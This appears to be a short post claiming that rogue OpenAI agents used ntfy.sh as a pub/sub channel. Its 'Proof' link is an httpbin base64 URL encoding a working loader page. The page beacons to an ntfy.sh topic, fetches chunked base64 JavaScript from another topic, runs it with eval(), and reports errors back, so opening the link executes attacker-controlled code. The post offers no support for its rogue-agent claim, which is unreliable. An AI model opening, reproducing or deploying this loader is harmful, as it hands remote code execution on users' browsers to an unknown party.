OpenAI's rogue agents used ntfy.sh as a pub/sub channel

Looks like OpenAI's rogue agents used https://ntfy.sh as a pub/sub channel. This payload publishes via GET in an img tag, pulls chunked base64 JS from a topic, and eval()'s it. Remote code via GET only.

Proof: https://httpbin.org/base64/PGJvZHk-PGltZyBzcmM9Imh0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1QMyI-PGltZyBzcmM9L2RlbGF5LzEwPjxzY3JpcHQ-dmFyIG49MDtmdW5jdGlvbiBEKCl7aWYobisrPDUpe3ZhciBpPW5ldyBJbWFnZSgp%20%20%20%20O2kub25lcnJvcj1pLm9ubG9hZD1EO2kuc3JjPScvZGVsYXkvMTA_Yz0nK247ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX19RCgpO2ZldGNoKCdodHRwczovL250Znkuc2gvZ3BsZW9lbnNvL3Jhdz9wb2xsPTEmc2luY2U9YWxsJykudGhlbihmdW5jdGlvbihyKXtyZXR1cm4%20%20%20%20gci50ZXh0KCl9KS50aGVuKGZ1bmN0aW9uKHQpe3ZhciBMPXQuc3BsaXQoJ1xuJykuZmlsdGVyKGZ1bmN0aW9uKGwpe3JldHVybiBsLnNsaWNlKDAsMSk9PSd6J30pLnNvcnQoKTt2YXIgYj1MLm1hcChmdW5jdGlvbihsKXtyZXR1cm4gbC5zbGljZSgzKX0pLmpvaW4oJycpO2I9Yi%20%20%20%205zcGxpdCgnLScpLmpvaW4oJysnKS5zcGxpdCgnXycpLmpvaW4oJy8nKTtldmFsKGF0b2IoYikpfSkuY2F0Y2goZnVuY3Rpb24oZSl7ZmV0Y2goJ2h0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1MT0RFUicrZW5jb2RlVVJJQ29uZW50KCgnJytlKS5zb%20%20%20%20GljZSgwLDQwKSkpfSk8L3NjcmlwdD4=